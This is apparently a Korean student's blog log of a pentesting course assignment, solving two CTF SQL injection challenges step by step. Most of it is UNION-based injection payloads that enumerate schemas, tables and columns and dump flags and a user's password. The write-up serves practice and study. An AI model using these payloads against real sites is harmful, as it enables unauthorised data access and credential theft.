노말틱 모의해킹
[6주차 과제] 말틱님이 알려준대로만 하면 된다.
debugginglog
2025. 5. 21. 01:14
영상과제
- UNION SQL Injection 복습
- doldol 데이터만 출력하기 (하나만 나오게!)
- SQL Injection1, SQL Injection2 문제 풀기
- Web개발 공부하기 : 목표는 3개월 안에 커뮤니티 사이트 만들기(로그인, 회원가입, 마이페이지, 게시판)
SQL Injection1
- 검색어는 User ID로 고정되어 있고, a로 검색하면 대문자 소문자 구분없이 전부 나옴
- a%' and '1%'='1로 검색해보니 잘 나옴, a%' and '1%'='2로 하니 안나옴 : SQL Injection이 적용되고 있다.
- a%'order by 4 #로 하면 나오는데 a%'order by 5 #로 하면 결과가 안나옴 : column 개수는 4개
- a%' union select 1,2,3,4 #을 했는데 "ctf2.segfaulthub.com에서 응답하는 데 시간이 너무 오래 걸립니다." 이런 에러가 나옴. 그런데 어차피 컬럼이 4개라서 보이지 않는 컬럼 수는 없으니 넘어가도 될 것 같음. (이건 네트워크 이슈.. 핫스팟으로 하면 잘됨)
- a%' union select 1,database(),3,4 #을 하니 sqli_1이 나옴. Database이름은 sqli_1
- a%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='sqli_1'을 하면 2번째 컬럼에 flag_table, plusFlag_Table, user_info가 나옴. 테이블은 세개가 있음
- column 이름 확인
- over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'flag_table' # 결과는 flag
- over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'plusFlag_Table' # 결과는 idx, flag
- over%' union select 1, column_name,3,4 from information_schema.columns where table_name = 'user_info' # 결과는 id, level, rank_point, rate
- data 값 확인해보자.
- over%' union select 1, flag, 3, 4 from flag_table # 하면 "segfault{Basic_Union_SQLi}" 값이 나옴
- over%' union select 1, idx, flag, 4, from plusFlag_Table # 이거하니까 결과가 안나옴 여기엔 값이 없나보다.
- over%' union select id, level, rank_point, rate from user_info # 이건 총 4가지 데이터가 나온다. 이건 원래 이 홈페이지에서 제공하는 데이터
SQL Injection2
- 이것도 검색항목은 User ID로 고정되어있음. 이상한 점은 초기 데이터가 하나도 보이지 않는다.
- placeholder에 normaltic이 있길래 그냥 검색해봤더니 level과 Rank Point가 ***로 되어서 보인다.
- no%' and '1%'='1 이걸 검색해보니 id 값에 no%' and '1%'='1 이렇게 나온다. like로 조회하는 것이 아닌가? 이상한걸 다 넣어도 항상 ID 값에 내가 입력한 값이 나오고 info에는 빈 값이 나온다. 여전히 level과 Rank Point는 *로 가려져서 보인다. 찾는 값이 실제로 DB에 없으면 그대로 내보내고 info 값은 없는 걸로 나오는걸까? 왜냐하면 burp suite로 보면 전부 status code는 200이다. 백엔드 서버에서 없는걸 처리하는걸까?
- 이것저것 검색 시행착오
- 그런데 normaltic'으로 입력하면 info가 안나오는게 아니라 전체 값이 안나오는 경우가 생긴다.
- normaltic#으로 검색하면 info가 비어져서 나온다.
- normaltic'#으로 검색하면 올바른 정보가 나온다.
- normaltic#'으로 검색하면 normaltic'과 같이 전체 값이 안나온다. 어떤 데이터든 '으로 끝나면 아예 조회가 안된다.
- 가설
- SQL 문이 완전히 깨져서 에러가 발생하면 아무것도 안 나오고, 정상 구문인데 결과가 없으면 ID만 출력되고 Info는 비어있다.
- normaltic'#으로 입력할 때는 올바른 정보가 나오니 SQL Injection은 가능하다. 하지만 ID 값은 그대로 normaltic'#으로 나오지만 Info에는 my name is normaltic으로 나오는걸 봐서는 ID 값은 호출한 값을 보여주는 것이 아니다.
- 그렇다면 ID 컬럼은 내가 DB 데이터를 볼 수 있는 것이 아니고 level, Rank Point 컬럼은 암호화된 걸 뚫지 못하는 이상 내가 여기서 확인할 수 있는 값은 한번의 시도에 하나의 컬럼만 확인 가능하다.
- 또한 normalti'#으로 검색해보니 안나오는걸 봐서는 like 구문은 아닌 것 같다. where id ='{입력값}' 이지 않을까?
- order 확인 normaltic' order by 7 #에서 진행이 안된다. 컬럼수는 6개
- ' union select 1,2,3,4,5,database(); #로 확인해보니 sqli_5가 나옴 (normaltic' union으로 하면 normaltic 정보가 info에 나오기 때문에 안됨, 6번째 안하면 안나오는걸 봐서는 6번째 컬럼을 조회하고 있는 것 같음)
- ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' # 입력하면 flag_honey가 나옴. 테이블은 한개인가? 그럴리가 없을 것 같다.
- ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 0; # -> flag_honey
- ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 1; # -> game_user
- ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 2; # -> secret
- ' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' limit 1 offset 3; # -> 안나옴 테이블은 3개임
- 컬럼 값 구하기
- flag_honey 테이블
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' limit 1 offset 0; # -> flag
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'flag_honey' limit 1 offset 1; # -> 안나옴. 컬럼 한개
- game_user 테이블
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 0; # -> idx
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 1; # -> id
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 2; # -> pass
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 3; # -> level
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 4; # -> rank_point
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 5; # -> info
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'game_user' limit 1 offset 6; # -> 안나옴 컬럼 6개
- secret 테이블
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' limit 1 offset 0; # -> flag
- ' union select 1,2,3,4,5,column_name from information_schema.columns where table_name = 'secret' limit 1 offset 1; # -> 안나옴 컬럼 한개
- flag_honey 테이블
- 데이터를 찾아보자
- ' union select 1,2,3,4,5,flag from flag_honey # -> kkkkkkk_Not Here!(킹받는 문구)
- ' union select 1,2,3,4,5,flag from secret # -> NONONO~~~~
- ' union select 1,2,3,4,5,id from game_user # -> normaltic 이건 진짜 유저가 아닐 것 같으니
- ' union select 1,2,3,4,5,id from game_user limit 1 offset 1; # -> doldol
- ' union select 1,2,3,4,5,pass from game_user limit 1 offset 1; # -> jjfijeii
- ' union select 1,2,3,4,5,info from game_user limit 1 offset 1; # -> Music is my life
- ' union select 1,2,3,4,5,level from game_user limit 1 offset 1; # -> 42
- ' union select 1,2,3,4,5,rank_point from game_user limit 1 offset 1; # -> 안나옴
- ' union select 1,2,3,4,5,idx from game_user limit 1 offset 1; # -> 2
- 혹시 flag 테이블에 있는 doldol 유저꺼인가? 검색해보니 안나옴
- 혹시 secret?? ' union select 1,2,3,4,5,flag from secret limit 1 offset 1; # 입력해보니 segfault{UnionOnlyOneColumn} Tada~!
현생에 강의 전날 후다닥하기.. 다음주 과제는 미리 해두고 싶다. + 보너스 문제는 언제 접속해보지